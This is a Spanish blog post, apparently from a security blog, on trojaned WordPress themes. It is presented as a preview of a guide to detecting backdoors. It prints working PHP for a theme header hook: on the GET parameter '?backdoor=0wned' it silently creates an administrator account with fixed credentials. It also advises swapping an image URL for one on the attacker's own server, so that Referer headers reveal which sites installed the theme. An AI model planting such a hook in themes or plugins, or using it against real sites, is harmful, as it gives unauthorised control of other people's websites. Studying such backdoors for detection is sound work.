viernes, 10 de enero de 2014

WordPress Backdoors II: usuario admin automático

¡Saludos!

    Estoy preparando un PDF para recopilar diferentes estrategias para detectar backdoors en WordPress, y mientras, voy a ir poniendo por el blog algunos ejemplos  para abrir boca. En este caso vamos a ver un truco muy manido ya para distribuir themes que lleven "sorpresa".

    Básicamente se trata de esconder en el source de un archivo del theme (por ejemplo en el header) un script que genere un usuario de nombre y password conocido con rol de de administrador. Para ello podemos usar las propias funciones que WordPress nos proporciona: wp_create_user() para crear el usuario y set_role() para asignarle el rol de admin.

  <?php
    add_action('wp_head', 'backdoor');   
    function backdoor() {
            if ($_GET['backdoor'] == '0wned') {  
                    require('wp-includes/registration.php'); 
                    If (!username_exists('X-C3LL')) {  
                            $user_id = wp_create_user('X-C3LL', 'password123'); 
$user = new WP_User($user_id);
                            $user->set_role('administrator'); 
                    }
            }
    }
    ?>

  De esta forma al mandar una petición tipo GET con el parámetro "?backdoor=0wned" se creará un usuario con los credenciales que le hemos indicado, y con rol admin. Para poder saber qué WordPress han instalado nuestro theme podemos sustituir la dirección de una imagen por una que apunte a un servidor nuestro, de tal forma que podremos recoger a través de los referer dónde está instalado.

  Lógicamente casi nunca veremos un código tal claro como este, sino que normalmente veremos el código ofuscado, pero eso ya es para otra entrada, o para el PDF ;)

Byt3z!

   
5 0verl0ad Labs: WordPress Backdoors II: usuario admin automático ¡Saludos!     Estoy preparando un PDF para recopilar diferentes estrategias para detectar backdoors en WordPress, y mientras, voy a ir p...

No hay comentarios:

< >